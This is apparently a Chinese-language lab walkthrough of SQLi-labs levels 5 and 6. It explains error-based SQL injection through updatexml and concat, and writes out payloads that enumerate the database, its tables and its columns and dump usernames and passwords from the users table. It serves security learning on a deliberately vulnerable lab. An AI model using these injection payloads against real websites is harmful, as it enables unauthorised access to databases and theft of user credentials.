Less-5 通过盲注(and 1=1 ,and 1=2)来构造sql语句,最终发现构造语句如下 ?id=1’ --+ 这里我们发现并没有返回值,通过构造sql语句爆库也没有任何返回值 所以我们猜测这里可能用报错注入 在进行爆库之前我们要先了解报错注入要用到的函数 updatexml(XML_document,XPath_string,new_value) 第一个参数:XML_document是string格式,为XML文档对象的名称,中文为Doc 第二个参数:XPath_string(XPath格式的字符串) 第三个参数:new_value,String格式,替换查找到符合条件的数据
在这里如果所用到的参数不符合以上的要求,则此函数会以报错的形式将结果返回 例如updatexml(1,concat(),1) 其中concat()函数的作用是将其内容连接成一个字符串,所以不符合XPath_string的要求,因此,concat()中的内容会以报错的形式返回 接下来我们构造语句查库 ?id=1’and updatexml(1,concat(0x7e,database(),0x7e),1)–+ 0x7e是~的ascii的十六进制编码 查表 ?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1)–+ 我们通过调整limit 0,1来获得所有的table_name
查列 ?id=1’and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name= 'users’and table_schema='security’limit 0,1),0x7e),1)–+ 爆库 ?id=1’and updatexml(1,concat(0x7e,(select concat_ws(’:’,id,username,password) from users limit 0,1),0x7e),1)–+ 爆库完成 Less-6 第六关和第五关的方法一样都是报错注入只不过构造的语句变为 ?id=1" --+
五六关还有其他解法,比如双注入啦,还有另外一种报错注入啦 我搞了好久都没搞明白,我弄出来的结果不知道为什么和别人弄出来的总是差了点,等我以后弄出来了,再教大家哈